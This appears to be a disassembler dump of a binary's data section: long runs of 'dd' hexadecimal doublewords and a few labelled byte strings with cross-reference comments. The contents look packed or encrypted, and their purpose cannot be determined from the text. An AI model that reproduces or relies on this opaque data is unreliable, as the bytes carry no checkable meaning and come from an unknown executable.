dd 0D887000h, 5657A97Bh, 0ACDC2901h, 6CC4467Ah, 48F09430h dd 9C00C48Dh, 414FF713h, 0D40096D9h, 0A667B3Dh, 12E1E5E6h dd 90C5B5F1h, 4EB0C10Ch, 0BE220E00h, 9F385206h, 804C48F5h dd 0BA331150h, 0DBA500D4h, 0E0AFE5Ch, 341FA0CAh, 0BE00B5BFh dd 4C5A2AD4h, 0ACA415ADh, 0DF00D4CCh, 0AFD02E1Fh, 42243DC9h dd 0E1000C9Fh, 76C6C72Dh, 5E0F000Ah, 0FA9D9829h, 610027BCh dd 293CCC1h, 0B31E3Ah, 32F8919h, 97C5FA09h, 7EE46200h dd 0BB76B28Ah, 50CC92A8h, 7B54A07Bh, 38671575h, 1128B039h dd 53A60797h, 30A0971Fh, 334B132Fh, 0D4C6F600h, 11CCD3AEh dd 9A980019h, 7AE6993Dh, 0C37D5FEBh, 23AB703h, 0B0EA6DF8h dd 6A7615h, 0D10AA51Fh, 3D4E9543h, 64B1A100h, 0A2AFEB01h dd 2CE00DCh, 0C7818EC2h, 4A1624F7h, 4C017FAAh, 0A03EA421h dd 3CDAD5DCh, 2EF313F4h, 1CC3DADh, 0B5090D97h, 0A4747043h dd 0DC0E671Eh, 8FB68300h, 82C1Eh, 89D16485h, 95252AAFh dd 42203900h, 7177F368h, 14DF0036h, 6FE6C3A0h, 0E4F89FB2h dd 222C513h, 53938047h, 3EFF2430h, 45F81DDBh, 5F4D4006h dd 79DC9049h, 0E605017Ah, 76C2BE87h, 0B297DC80h, 6DAD03CFh dd 0F790E32h, 9551390h, 6F68C758h, 0F8091214h, 0FC47475h dd 0FC0603Ah, 0D21891CFh, 3EE2E500h, 271137C8h, 0F55600BFh dd 0FDDAAC5Eh, 6700AD9Ch, 16C742D8h, 9727D3h, 0ACA50A7Bh dd 8D41EE9Eh, 15602150h, 0A0CAE127h, 7907D288h, 45CCE5EFh dd 980A0097h, 29083954h, 360FE87Fh, 8E07F5A9h, 0E8F205Bh dd 86CDE4h, 5A5E173Dh, 1AD8EA24h, 8CD15F02h, 609837EDh dd 3DABC72h, 0FB91CB05h, 0BBD3E5DBh, 996883BCh, 2B9889E8h dd 0F9710300h, 8DB33B4Dh, 9EF43AE4h, 0A0B03287h, 0D6B1ECECh dd 111863Eh, 2736BB82h, 48846B80h, 0B01D5FD7h, 0C000F7D4h dd 0A58BFD15h, 60FB21D0h, 0C6E6E08Fh, 30D2A43Ah, 0E5014400h dd 0D977D8h, 0E60DE236h, 7D65B2D6h, 1ECACE07h, 0BD57E402h dd 54E18240h, 0DECB3B8Ch, 15E0117h, 59ADE6B3h, 3D92C04Bh dd 47BCE02h, 0C3059CB5h, 51B2C8B0h, 82950454h, 904994F4h dd 2D03B3E0h, 23D06061h, 4068FFBFh, 36D4DB00h, 46EFD175h dd 79934F00h, 0EA7EB543h, 6F6058F7h, 23A8F300h, 532A0A39h dd 3A1AAF03h, 0A0C0C6FEh, 0FF960DD7h, 1F93D3C8h, 7AA7D4Fh dd 0C0F89147h, 1EFE5F01h, 0DFB818C0h, 0F8326BD0h, 0EF3C0168h dd 0D2721157h, 8EA8F5C6h, 4ABF10h, 2E39219Bh, 1D181D65h dd 0F0141C9Fh, 666FD820h, 0AE00FD78h, 88C4400Ch, 2544460h dd 0E60EF7B8h, 82612583h, 3D57DC7Ch, 0C3787907h, 58C69C90h dd 62EE0069h, 3D52B794h, 0C00BCF1h, 0A125393Ch, 0DF2B6749h dd 7B9C0338h, 0B2E2824Fh, 0BCB71840h, 0E0F741CEh, 1CCD909h dd 690D18B6h, 0C01308D8h, 0D36120C0h, 14F950Ah, 3E42BC07h dd 0F3A12EB5h, 6204103h, 9B04A580h, 0CEAC0F0h, 62E80087h dd 83A8AD3Dh, 0C00F8E94h, 60D6857Fh, 60707B65h, 4E6F3D73h dd 12154881h, 0FFFD1B8Ch, 725C01E0h, 0D5EA2800h, 0CBB7A786h dd 0BAC80083h, 492DA264h, 0FC005DC7h, 171169B0h, 0E35FBFh dd 604BE14Ah, 0CF569C7Bh, 38FABA00h, 487EE7C4h, 0E27420h dd 9C791896h, 8ABAF083h, 0A1CD0601h, 0D0E154A6h, 0F493B6F0h dd 697C6Eh, 0ED450873h, 5ED4493Dh, 0A500B7E8h, 5AC701BCh dd 10FC38Ah, 48228D45h, 2791AD4h, 9A846070h, 88DE61h, 591E8DAEh dd 5F079EBCh, 5AD094A4h, 1215846h, 0E51C2DD3h, 0F179D6A6h dd 0C0E3CD17h, 6E0021D7h, 99149BDh, 75372F1h, 501C456Dh dd 0C3405E84h, 3821644Bh, 0F01D80C1h, 9886C4D1h, 90157F54h dd 94DC3F00h, 3668C8ABh, 1B7B0EDEh, 8B60E181h, 0AF2BFBC3h dd 79D37F07h, 4E22D7BAh, 0B79E8023h, 1DD74E5h, 5E6CF43Eh dd 0C41B8126h, 1714D935h, 1EE0195Ch, 0B01D3485h, 0BB4004A9h dd 0D6F5A0h, 0A206559h, 365ACF9Bh, 24C97800h, 4FC4427Ch dd 603F1F2Fh dd 34839B2h, 68DB0977h, 0C781F3CEh, 801CA5E9h, 0B7499912h dd 950237h, 98B94807h, 528894Ah, 0B2BFC000h, 16A9067Bh dd 1DD60063h, 231FBE27h, 0DFE8026Ah, 8EE91800h, 96AF64DDh dd 0BC4E5C19h, 805D221Fh, 5B9841C7h, 0C40EB1BDh, 20081412h dd 85A2397Bh, 0B5FA0054h, 0F153C274h, 2B00DEFEh, 0C0AB87ACh dd 0E293ADh, 9D2FDC8Eh, 53A17DF3h, 1F82B600h, 229A992h dd 0BE140052h, 0A50EBFD0h, 3038AEFCh, 233C8131h, 34CB6F45h dd 137F807Eh, 0A548CE43h, 0AA0077B9h, 57E874F7h, 9AB8BCh dd 0BE8EAEE5h, 0BD31BAD3h, 0A4C95301h, 307958A5h, 614C10B0h dd 0DD039E59h, 6B09EB2Ah, 0E670C0DEh, 51550014h, 8878CCEFh dd 540052F8h, 60762C02h, 0A0FB4Eh, 9EE2E8BCh, 30C02953h dd 4AE55500h, 0D132129Dh, 2DBFCD9h, 0FECFC4E4h, 0F4A0D215h dd 47C3F790h, 2028316Eh, 3DB77D92h, 1BB80374h, 164B26C5h dd 0CD4340B8h, 6C5EDA1Eh, 0A042798Eh, 6194DB14h, 0A12B079Ch dd 30E57D67h, 669996Eh, 4218CF00h, 81BBFB53h, 10D16061h dd 5FB64180h, 17008AFEh, 0FA98EEBAh, 46C0E7h, 8E8031CBh dd 0F9A6135h, 0E6A3Ch, 0CFB57C88h, 21446Ch, 0B059E25Fh dd 30C84004h, 66A02900h, 0EF28382Bh, 0F0FD0074h, 0A3BF6414h dd 0A800817Ah, 6F2A20D8h, 0F21552E9h, 0C0DAFDC6h, 754CF3h dd 30B690A2h, 1F89168Dh, 134EC707h, 1CF0D95Dh, 609B694Bh dd 0BB3040EDh, 7D00051Fh, 13F3A587h, 103EE0h, 40735496h dd 95A3AFC1h, 0AA9C4B00h, 421FEC90h, 469E2EBAh, 0FB41E95h dd 0B180EBD0h, 3743C2A6h, 9FD76007h, 0F0E0CE05h, 0B0E7CAE3h dd 2C420471h, 0AC624DB5h, 7C2F007Eh, 33AD1353h, 0D1EC00FCh dd 0B23A1286h, 0B90E79B4h, 0C0215FA8h, 0B1E218F5h, 12A07D07h dd 0D3A1B3h, 374D2520h, 7AE2A8D4h, 52A51600h, 0E241C53Ah dd 8A650CC0h, 0CFD6BE99h, 7A3C4800h, 210B692Ch, 34893A1Dh dd 5D2E5B01h, 7031E7B2h, 0C61ECE78h, 0F47BF9F7h, 946A2A00h dd 9E5B84F3h, 7D080459h, 90DDB7B4h, 30C7A960h, 6DCF81C0h dd 1A653F6h, 0ACA1BAB3h, 0F161CA85h, 8F83001h, 0C8006C7Ch dd 1CF53D03h, 3B0B62Ch, 0C5E20690h, 0B80039F2h, 6613768Dh dd 0F824Bh, 852B5FE3h, 0A7316508h, 3B6ED318h, 0E69FB128h dd 56D613FEh, 3180495h, 0C670C06Ch, 0E41EBB64h, 0D183165Fh dd 0D07B0A21h, 9B3310h, 4A31C3BEh, 96A63E82h, 0D89DDE0Ah dd 4580E847h, 32CDB383h, 5C39FACCh, 0C30088CAh, 4FD8A15Bh dd 0F7074ECEh, 0A4850BABh, 2138C8A0h, 94AE2EBEh, 0BA3D0374h dd 0B1F70E29h, 0D434F86Ah, 3EF05BB3h, 9D7AA900h, 0C559CE69h dd 0AEC61h, 0C9F0E257h, 9F1BA089h, 0F15D861Eh, 99003B13h dd 30674F60h, 908E78BEh, 9D6E0012h, 65AB8A4Ah, 0F600550Dh dd 86FE2335h, 2C0F0258h, 0F5A81h, 0D14140EBh, 510052A6h dd 0E2433DDEh, 4C1FBFB4h, 0FD1310DCh, 57D90088h, 94A50C0Eh dd 8404E700h, 6A998943h, 0DBF90085h, 0C99AA411h, 0AB1D20C6h dd 26C05FB8h, 0BE6EE580h, 1C58004Ah, 0AECB2504h, 3106C75Ch dd 0FA229D17h, 5720040h, 67948ED8h, 0B40FE7A5h, 8089FFD4h dd 2BEFF15Bh, 59AA00D0h, 3D824D6Dh, 8D30EEB4h, 88F0A05Ah dd 6AF8004Ah, 96899FB7h, 0E20322CBh, 585EC7A5h, 5DBC095h dd 0BA2C0FC1h, 9E033249h, 77C00928h, 0B17C806Ah, 6B54B300h dd 31B24056h, 16B9092h, 0C061A74Ch, 247F8403h, 81179364h dd 5400E6AFh, 0A538C114h, 8044000Eh, 5C9A33Dh, 6DE639A1h dd 8D3B9D00h, 2998A6D2h, 7F7D00C7h, 0BF28EAB7h, 47622F38h dd 0C03501C8h, 0B16E8Eh, 8F823776h, 103F4012h, 4B132800h dd 58E7303Ah, 27200573h, 1D380245h, 0A7FE80C9h, 9CED2201h dd 5769CA07h, 86D07578h, 0CD93B5h, 449BABD6h, 298DB08Ch dd 57A47000h, 90C6E12Eh, 1FDE001Dh, 877CBCB4h, 0C2169612h dd 33000AE3h, 6DE8214Bh, 0D69D097Eh, 3FCD8h, 20C78C31h dd 14855E7h, 0E073E300h, 0ED8E8891h, 79590022h, 0D63C8D7Dh dd 0FE00581Fh, 9548BEACh, 1C1E4F33h, 0FB2DB793h, 0DA39C182h dd 0E0F7E0FDh, 0A5EEBAh, 0DB478F0Ch, 46E1655Bh, 0A24E700h dd 38CE2CF8h, 28C03F6Ch, 0F471448Fh, 5887A900h, 250022A6h dd 0B6F5645Fh, 79D7F68h, 0DC26E613h, 5191D0CDh, 0D105403Eh dd 1532B308h, 8FB080C0h, 98E0FA0Ah, 3A6179B6h, 7100F625h dd 18749D9Ah, 0DB008309h, 5F03D6BFh, 147649A1h, 546AE3ADh dd 5FDDA9C0h, 0FD006BEDh, 0B5BF7BB3h, 24066376h, 80A04D41h dd 15C0BBA6h, 0F0396D2Ah, 7A738024h, 287260A7h, 59DF00E7h dd 614EC003h, 5D1FE34Fh, 0A871C90Ch, 2442EBFBh, 806602Ah dd 0A48E00A0h, 6A42A6EFh, 68901AADh, 0EAB40400h, 0D9960351h dd 0C3E724Eh, 0D530E772h, 0E8025060h, 0C85CCA94h, 1EFCE015h dd 9B1A3069h, 2CE93081h, 60879602h, 0C078A8D2h, 7B10D0FDh dd 380D3080h, 0E0537048h, 0D990CA60h, 522CDDh, 95A49B60h dd 30A62DA5h, 0C361C96Eh, 0C06A259Ah, 1D7D87C1h, 83C6DACAh dd 0CCC50C1Fh, 6CBE5798h, 4F95C00h, 0C98B348Ch, 0B5420077h dd 3E726AD2h, 7877E2FDh, 2E16F707h, 0F1C05D7Eh, 0FB4A59Dh dd 0DDE062Ch, 20B9D5E7h, 0AA98C60Eh, 73BC4A00h, 0D3DDD049h dd 0E67200A6h, 0D4240390h, 7000122Dh, 70C5705h, 0E80B3A9h dd 8C331471h, 90406FA9h, 0AA712E29h, 63B254C5h, 0F6E03F87h dd 0AC5C15h, 0ABD9E1A9h, 1216C949h, 7B3D45E2h, 2DD01F33h dd 9B9EAE01h, 14F056E3h, 0B41A5C9Dh, 60E56605h, 0B85E98h dd 688119D4h, 6D5CB153h, 6C091DFEh, 30DACC0Ch, 78371F7h dd 1E5AC80Fh, 0C421701Dh, 0C4A88C66h, 0D800C634h, 64B071Ah dd 18ACA575h, 60031DBCh, 2754EAC2h, 280079C4h, 96A2EDC0h dd 9583063h, 0C4036E8Ah, 0B6D3A0A0h, 6100B4C7h, 0F0B8BF45h dd 0A20AF9h, 0CFDBD1D0h, 9C144FA4h, 6B7A8990h, 0C4624501h dd 2DB871C1h, 0BA651080h, 46EEBD84h, 0B28A4300h, 75CE3C52h dd 1FAFEE2Ah, 1E8445B0h, 404BC003h, 0B9972491h, 903718C0h dd 31F6F3h, 0CB8FE514h, 103DDD9Dh, 0D979A40Fh, 93C7436Fh dd 45B7801Bh, 1D7002Eh, 56BAD1AFh, 0C4B03A42h, 0B94C47E4h dd 717430F9h, 176ED08h, 68AE6436h, 0F0B80EE7h, 0F700532Ch dd 0F585B125h, 951488h, 1B9E435Dh, 6C9F8BAEh, 0C317BF01h dd 2653B7BEh, 550F1980h, 0A0D8F412h, 0F8ACE3Ch, 1257602h db 31h a?baSDaziU4csiX db '?B(֜S}z',1Bh,'U4>]',0 ; DATA XREF: ___:0042CC94o aSRza db 'S;R',0 db 67h, 6Eh, 78h dd 64014338h, 5B800045h, 70D47E0Ah, 7B739CC2h, 0C59D860Fh dd 6F478019h, 3956A401h, 0F20035A0h, 2B73FC93h, 0D90011FFh dd 6544B676h, 3EBC9A2Dh, 0A00029F0h, 0C55B7B2Ah, 963EB1ADh dd 703B01A2h, 5C82E187h, 0DA606671h, 4CDF1D7Eh, 424B4133h dd 80492770h, 0AA288E20h, 796476E8h, 0A40C091h, 62AEA4EFh dd 0FD245B00h, 0C1C29CCBh, 79D7007Ch, 0A3145146h, 0FF0C8FF0h dd 285EBE94h, 6BD40C44h, 70909FBCh, 0A753D200h, 0E8AFDA25h dd 0EDFF1FB9h, 81B180F7h, 859384F2h, 2F61E1E8h, 0ED23FC80h dd 48B5ECh, 71E2397Bh, 0D0D78F28h, 0F35B7903h, 1E1AE04h dd 0CA377878h, 9D440566h, 0A9809710h, 0D1EA23B9h, 9C800E3Bh dd 25208B45h, 0C27AF118h, 0CE92530Ch, 0BB4888h, 37A8D33Eh dd 0A98CD263h, 17942A07h, 870E97Ch, 0D7431h, 475DC269h dd 50905F77h, 0FFE26650h, 0D93D9701h, 1687F134h, 12D56BD4h dd 7852E9h, 0FDF51BD1h, 0E5003581h, 638AC6B6h, 3880DF2h dd 0D61579F6h, 269054B5h, 0FC00439Ah, 0A0444A49h, 72D1A3h dd 0C73A1E1Bh, 4D52C1D2h, 50FC800h, 29078856h, 0AB160340h dd 3D4CCC50h, 7726C1B8h, 17BE7E01h, 0AFB368B9h, 67A5E0FFh dd 0A3CC0021h, 0EC45E451h, 70F9441h, 81BC6C0Ch, 3282A759h dd 0B014F0F0h, 66A2008Eh, 0AC79C98h, 43003DB6h, 0B3B50360h dd 38746D62h, 0C015C68h, 6FA92E44h, 0D6CE8BCh, 0E7EC4890h dd 0DEC87600h, 208F4031h, 692148D0h, 0C97FDA00h, 0A5BED5DFh dd 0CEDD1700h, 70A1870Bh, 0EE5A00DCh, 27212C16h, 1F07A5BBh dd 0CF3C7F6Ah, 0D798D8B0h, 75850010h, 2C362A20h, 5403B04Dh dd 0BD5AAE29h, 0A428393Bh, 0A310D620h, 0B9112FDFh, 0C87500ACh dd 0B016D14Eh, 8351DC97h, 2C34FDCEh, 1BE9B1h, 813D1676h dd 5B3C417Ch, 0F129887Bh, 89C18CEAh, 8F4468A1h, 29DD64E1h dd 8384203Dh, 16C81443h, 550828F4h, 0E9100F24h, 426FAD83h dd 86C02811h, 0FE9D7108h, 850B514h, 14F91D99h, 652814CCh dd 0A0E11028h, 404C1819h, 808BF8F1h, 0E600346Dh, 0B75CFD32h dd 711AD3h, 7F470F90h, 0D7EE3A9Bh, 0C3C59500h, 747C2267h dd 9C650292h, 545CE305h, 0AB4B4260h, 0AACF450Fh, 0D21A2062h dd 7E975BD7h, 0E8270BB6h, 0AB006B04h, 0E484BFCFh, 0DB0081E6h dd 41356F63h, 2CBB1187h, 7EEBD97h, 0B02AB755h, 9E1A43DDh dd 0A583CB02h, 6018922Bh, 0E1613Dh, 56B3E79Dh, 46A0C034h dd 0A700CC90h, 4501E994h, 3BA6A8h, 3AB28007h, 0E2CAD188h dd 9BEB4F00h, 0ED876563h, 8CBE1CFBh, 0C07316ECh, 89DAF7B3h dd 0C7307F00h, 75B8EB60h, 0FAD206ECh, 3146BC1Ch, 95ADE300h dd 7657EADEh, 23E0002Ch, 0A7184E97h, 0E973817Ch, 1C6BB209h dd 0FE18A044h, 3EF241A5h, 7980F9FFh, 4F8B493Ch, 940E5E13h dd 0A0D5CA01h, 92EA2C7Bh, 864C0046h, 0DD0FE936h, 56EE7E66h dd 6B00FBF0h, 0D49AF508h, 396094h, 0BDBB32A9h, 0B143282Eh dd 511FD700h, 85804ACBh, 8D8800B7h, 40453F86h, 4F058EC2h dd 0B2874BD7h, 16272E80h, 0C910766h, 60C50137h, 0A8ABD855h dd 7B8DF500h, 0A041DE09h, 7C750072h, 2438738Eh, 900FC35Eh dd 809AA2BAh, 0FAE8968Ch, 5067BDBh, 0B8ABBE35h, 58F80120h dd 0E423F43Dh, 1817386Bh, 8B1E1BB6h, 9703C240h, 228AD1h dd 0DB473517h, 52430445h, 9D96E600h, 0A5A3237Bh, 0E05D000Dh dd 7E6F3DEEh, 2700AD48h, 5E57F7A4h, 744ED1h, 0B8AE8518h dd 1A8B717h, 51ECA202h, 606299C7h, 0DC1A30h, 0B84938AEh dd 0EB151269h, 7D9C9700h, 0B08DD56Ah, 0B7707Eh, 0BDC95194h dd 0C091714h, 0D5387D1Eh, 46ADF300h, 0E27FE085h, 54A60015h dd 412FF124h, 0EF001CD4h, 0A483FA81h, 1C868B77h, 8EFF4591h dd 3CA9346Ch, 0C07C000Fh, 7204409Fh, 7607F5CCh, 0FDB2CEF4h dd 662FE7D1h, 0DA8038C5h, 0F18350FAh, 230095C5h, 0DCD3E0BBh dd 14AAC39Dh, 0A4B23882h, 4B650800h, 562F7BA3h, 0FE795C00h dd 0EDE55759h, 0D5903F31h, 0B82A640Fh, 808A1027h, 609294D6h dd 0E9A2E300h, 0C89537EBh, 0B3FB0AF8h, 7D47AEAh, 301FC9D3h dd 0BF7C634Fh, 7EECAC00h, 196F0B8Ch, 0DA3A00F6h, 7A895893h dd 36001690h, 262DE752h, 9B19F0h, 98C64866h, 95443365h dd 7B001EF6h, 6F1DD90h, 14DEEDFh, 40FA41D0h, 0FF391758h dd 0B14EC9D8h, 90B29800h, 89614806h, 1D65983Fh, 0F32E554h dd 7460DB58h, 0F216EFD6h, 6300F573h, 8BAB106Ch, 72FFE64h dd 1D057753h, 9D62703Fh, 0B828CCFFh, 0C67DFCABh, 2BD8E800h dd 463D6D36h, 0E24801FEh, 515D6953h, 94D5403Ah, 7D14DAD8h dd 0F71912h, 0B51893F0h, 8F7A50h, 1B960B8Bh, 0CE5DA96Ch dd 2C2D0D00h, 2B193B03h, 753201EFh, 0E46A9B6Fh, 0ECF2C199h dd 0A80082A2h, 790F7194h, 70E66D7h, 2F4473EBh, 0BBA1F0F1h dd 0AB1E6E60h, 80F95C17h, 64285A76h, 0B51D9Bh, 457DFC4Eh dd 0CE19AA8Eh, 0C03D9971h, 0ED2F8057h, 0B9F48105h, 0A06900D4h dd 0F860464Bh, 1B0047CDh, 62A6D88Bh, 15881E6h, 0BCDF7C43h dd 2B7A1FF6h, 0E1EF7E0h, 0D2F1D11Bh, 7260794Fh, 125C8B15h dd 41163224h, 949B0103h, 0F7683F62h, 9AB8D403h, 0B7C075B6h dd 0B0006B49h, 723F94C1h, 0E1E93Eh, 18D61E0Bh, 54ABD7ECh dd 2FAFFD00h, 0A8F6517h, 94CE2F4h, 0E1C756DEh, 0E0887020h dd 0AA0142A1h, 73EAD4ABh, 36303059h, 7587DB0h, 0DC6C5C2Ah dd 1060300Ah, 5115136Ah, 63F485B8h, 88DAD0C0h, 57162Ah dd 4350FB8Eh, 0DC2302E0h, 74A05E01h, 0BC0F7AC4h, 7E0DC8h dd 0F0CEA57Ch, 37ACF920h, 2B1C8F00h, 0A35DA255h, 8A4B0091h dd 5C9E621Bh, 8B073816h, 0FD151FF7h, 0A0012360h, 0B18100D9h dd 4EBF0958h, 6A705CE5h, 215AE81Fh, 1B00F1DEh, 0EE93DF8Ah dd 0C0580089h, 0FE0B5962h, 9F0006D4h, 6CD8D733h, 0A71597h dd 0ED02A46Bh, 0A95C9B7Eh, 0DD2CAB00h, 4FD75032h, 73E70748h dd 70193D6Eh, 64E08117h, 0E86A4A00h, 6D88B139h, 337B4C95h dd 0C887CE04h, 69C0FFB5h, 0B037EAB9h, 0E1A03A46h, 880CE609h dd 4EFB880h, 0C0004E14h, 0A59668F9h, 0CDB3EDh, 7EC755ADh dd 0B20563FCh, 0BC2F5B07h, 0F5314CD1h, 0ECF8BB51h, 6C290036h dd 0A521815Eh, 7C38466Ah, 0CE2680CFh, 0E1A2F4C4h, 0D9DF35D3h dd 853A00F2h, 2270F845h, 406C500h, 0FD87405Eh, 604C0082h dd 54DFE681h, 4B00CA27h, 967A01CCh, 0F0A36CFh, 0F8ED8A8Eh dd 5A2B4CE2h, 0E8105760h, 92B039h, 243171BAh, 0A8375h dd 0D6C4BFB9h, 1FE45AC5h, 56892200h, 0BE1A8B19h, 41EF0099h dd 8229125Bh, 5500D047h, 10E3B1F6h, 76AED2Ah, 7969AB65h dd 823D80CAh, 11045DE9h, 0C67E3813h, 69EECCC0h, 545A0010h dd 636F9D1h, 210045A7h, 0C3CBFEC1h, 173AD24Bh, 0ED5D6Ah dd 9F93B566h, 28000289h, 0ACFD9CBCh, 0F90FEEh, 0EB1D917Dh dd 13C0FEB5h, 3DE6DF0Bh, 0E5C100EDh, 49B66Fh, 19FA5707h dd 0D3C3698Dh, 60809119h, 0D8D8AF1Eh, 428F03F7h, 54663845h dd 5BA3F0DFh, 0FB3A9E29h, 0E4510F83h, 58E81DAh, 66F43A69h dd 87E1E71h, 3EFB400Fh, 785B301Ch, 0B30ED4B8h, 0E75A9EC0h dd 69605F0Ah, 7F3DFBh, 6F798458h, 0C412D263h, 811E2900h dd 6EEFE9F5h, 0E45D018Fh, 82A5BB79h, 6440C262h, 76007CF1h dd 8577A91Dh, 0D81B09h, 0C49BFAB7h, 0EF24720Dh, 8042443Fh dd 0A82B8D4Eh, 5EE981Dh dd 0ECC1D7E9h, 0FA5C09Fh, 0A03D81Ch, 5C09B44Fh, 4B7BD85Ah dd 0B971008Ch, 415B8AE5h, 395CDE9Dh, 0F8801D95h, 0CEE740C7h dd 144F160h, 0F5F25888h, 61C34E00h, 79FF1209h, 810E6700h dd 0B6C07E16h, 0A37B00ADh, 4A5F642Ah, 30381566h, 7E360F02h dd 0EA3D406Fh, 4F325h, 0ECBFB803h, 67FA6308h, 39445E03h dd 0F4E55C51h, 6C7AB980h, 63A900F3h, 42717A1h, 2500352Ah dd 72DE62A3h, 716D6F73h, 15714D1h, 85039CB7h, 5B5575B8h dd 6931CD0h, 2E56F500h, 42385940h, 0AD900C1h, 371A7D5Ch dd 0A51693D0h, 8E00D3B2h, 7FC2C7FDh, 0D8949Fh, 0A5BA0613h dd 4E00D3CBh, 89FFA268h, 5FFC4Fh, 0E2F5993h, 0DAE963D5h dd 22169860h, 0B86D16AEh, 0B73C001Ah, 774EEFB2h, 0A65C95CCh dd 809200CDh, 1E8179Dh, 869E0791h, 0B0779C32h, 0A7EB7DF7h dd 1660E300h, 9FD3A6F4h, 4CCE140Ch, 7902A25Ah, 6F5ED1DEh dd 0D4EFD1E0h, 0E39D9300h, 0F23B9086h, 197502D7h, 2C8E76F0h dd 0EB0D9180h, 570018AEh, 0E26EA9B4h, 89AAF9h, 0F3F1E3DDh dd 56692FD7h, 4FFDCD00h, 0A4A610B6h, 43890247h, 3DE725AAh dd 12BB00FDh, 9D5D51h, 0BC41BAEFh, 3EE2A31Eh, 0EF54C4Ch dd 162399C7h, 0E0A1540Fh, 3B711793h, 6B651E8Bh, 785A58A7h dd 3A007B5Dh, 0EC9A05F8h, 941A85h, 0B7EF37Dh, 0AE8C0146h dd 90AD3E03h, 0A9BA0D3Dh, 0D8D40C7Ah, 57930223h, 6562E4DFh dd 0D7E61FC0h, 0BF0030B8h, 0F7C5A2CDh, 39552EFh, 0AD1A4C71h dd 9600ED9Eh, 0F2B4C246h, 70B1B21Fh, 0EA6301FCh, 9C15B8B0h dd 0D0CFFC22h, 24000898h, 280C79D6h, 16E51150h, 5F4E49h dd 8FA2FF34h, 0BC003490h, 0DCCB974Fh, 50DAA918h, 91F599h dd 0D0AAD332h, 5BD1B05Ch, 3CB00448h, 0E1A100A9h, 0EC663C29h dd 0C9AA0055h, 6804DA93h, 0CF3A8012h, 0A7CB0021h, 9CD5CD06h dd 0CA8F1FCCh, 4AD6417Dh, 60A27EC1h, 0BFE04669h, 21477B00h dd 5FE41DD1h, 4805C90h, 0C5609BCEh, 1E47B207h, 670C7F00h dd 1688C1DAh, 2C7C2E4Dh, 26B70052h, 0D4F04791h, 0A633B101h dd 0D732E152h, 1E15D870h, 0AC1CB805h, 82950364h, 0A1A08AB4h dd 0DD181845h, 0ABD2EC8Eh, 54E051h, 395B22CEh, 0D937A443h dd 8AF8BDh, 413127C4h, 383DDE47h, 0E524F600h, 6B85A0DFh dd 4EB6F29Eh, 1D0441D0h, 3D95193h, 3B81991Eh, 4DD89421h dd 0B05448AEh, 18D23300h, 913AF28h, 61FA1700h, 95DFBC11h dd 832E19B9h, 0E5ADFA3Fh, 0E9C60DEh, 4F545600h, 0A04E2913h dd 0B21B0076h, 5EFA40C5h, 262C60DBh, 400F595h, 0FF3C127Eh dd 758F004Dh, 6DA42940h, 21269C2Ah, 81028877h, 42BDBBDCh dd 6232C027h, 0DD6100D4h, 0FF65634Ah, 0DA0073C3h, 4782203h dd 4AC7507h, 0B8AD9F5Ch, 1BD8E02Ah, 2369E900h, 0F550F4FFh dd 2BF1009Dh, 0BA68E773h, 7500281Fh, 93E8A663h, 0A550BA2h dd 0CCD5F869h, 0B00680D4h, 14FEFC4Ch, 8C598728h, 0E4001498h dd 781316D9h, 7B644h, 8071DDF8h, 0B2C875BCh, 66728A18h dd 1203CE31h, 90DE10h, 62581633h, 270F45E8h, 0C7E7A16Eh dd 0D3770F0Ch, 514BC0E0h, 83810064h, 0DBCEB5E1h, 1800925Ch dd 67E688BAh, 0FEA25Bh, 8459F954h, 5E6BB2C1h, 0AC47C328h dd 20E3800h, 0BCC076F3h, 82B500E5h, 79916243h, 0CE00B08Bh dd 6D28F4D3h, 793B3887h, 8DA1005Ch, 66C6AEACh, 0E800D931h dd 2E4F37BDh, 7CC2B264h, 58063036h, 9CFBDB10h, 9AE69D00h dd 418C6A23h, 408200C0h, 0B3D58730h, 5E00CD57h, 0E6526503h dd 1317A7D8h, 0C0DEB975h, 5499B5A0h, 0DB0280F8h, 0FA9010FFh dd 8755E0A6h, 206D00D2h, 0D64D9AB6h, 0BB0004CDh, 228C513Dh dd 6C76C4h, 0CCC9EEC1h, 0EA826ABh, 2309AC00h, 9AA9D11Eh dd 5B4F0E17h, 5EE09C9Eh, 33D3C7BFh, 0DE267101h, 6E01498h dd 7B2960h, 50BDF2F1h, 1EBA11AEh, 0CE99DE00h, 620F3715h dd 3847002Ch, 167D24D2h, 0F1008892h, 2AA48B80h, 3583AD7h dd 0D3DAD0C6h, 64A00FF5h, 0F000FD0Ah, 7921ADC7h, 6A0937h dd 9B495D11h, 2B2F8517h, 6C954A00h, 8203B67Fh, 0F3730041h dd 0C04C391Fh, 8D0934C9h, 90424756h, 0DCCC38h, 5D887C20h dd 37C6F466h, 0B632BF00h, 0F067B7E1h, 74D10462h, 0E4AC2430h dd 0E800C714h, 261CC90Dh, 9673A5Ah, 9BCA3DC8h, 70C52880h dd 0D939E10Fh, 0D77497A7h, 3C27800h, 0D34608h, 1FC175E0h dd 64964DCAh, 23013C05h, 39C039C0h, 35D5ADDh, 0BDA72442h dd 0F4A89DA3h, 2503AC7Ah, 0E879758Eh, 0D9A0C06Eh, 0B81600E3h dd 7FE4A7DAh, 0A890C6F7h, 59708800h, 0AB814B71h, 4E41006Fh dd 0B851BE5Bh, 19009F57h, 6B938216h, 8AECB3h, 0F2C663FFh dd 541C3A6Fh, 9FE03F79h, 0F7844200h, 92BDB3B4h, 5F2D0057h dd 0D163CF8Ch, 7000791Ch, 2F518B7Dh, 5A3AC9h, 0C1023EE5h dd 5F058E28h, 0B1663Bh, 8CBF7B6h, 58AA8DE4h, 0D6380435h dd 56C000FFh, 5EB51EBBh, 0BA0107F1h, 0D637B33h, 0B2D4765Dh dd 90230095h, 0D81489A8h, 0C37B5739h, 0F26B6F00h, 0DF27B54Bh dd 9F90010h, 0D1463122h, 73283265h, 0D8FEC850h, 0C3B2E800h dd 0C6B34521h, 0B69E013Ch, 0EB15FD42h, 0CC1DF47Ch, 0D3BB3504h dd 0A1C1A3A1h, 0F6EC8194h, 0EA0D0050h, 0A8B610C1h, 0D2489E17h dd 0D05C08B4h, 331B01E8h, 602C130Eh, 0E902FFC3h, 0E071F076h dd 22C480B0h, 9E973D93h, 8A1D0020h, 0BA87F261h, 1F0AB100h dd 64E08CCCh, 0E8716Ah, 0C28F1391h, 44163239h, 9570AC00h dd 63E5EE8Bh, 3600030h, 0BE89A925h, 3C07178Fh, 0A4681C98h dd 0A5D55647h, 8729B9C0h, 0B3A8C016h, 6557C660h, 310F26F0h dd 30E4FFh, 425A032Ch, 814F00E0h, 7473B0BBh, 7B00A162h dd 30316BD2h, 0F76F777h, 